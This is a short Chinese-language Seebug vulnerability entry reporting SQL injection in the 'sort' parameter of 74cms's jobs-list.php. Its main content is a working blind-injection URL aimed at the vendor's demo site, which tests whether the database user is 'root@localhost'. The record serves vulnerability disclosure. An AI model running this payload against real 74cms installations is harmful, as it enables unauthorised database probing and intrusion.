74cms jobs-list.php接口sql注入

2015-10-10T00:00:00
ID SSV:89650
Type seebug
Reporter do9gy
Modified 2015-10-10T00:00:00

Description

首页 >> 招聘信息 点击搜索 http://demo.74cms.com/jobs/jobs-list.php?sort=wage&page=1&jobcategory=&education=&citycategory=&experience=&settr=3&trade=&wage=&nature= 参数sort存在SQL注入 text

http://demo.74cms.com/jobs/jobs-list.php?sort=wage%3Easc,if(strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116)),%20id,wage)%20limit%201%23&page=1&jobcategory=&education=&citycategory=&experience=&settr=&trade=&wage=&nature=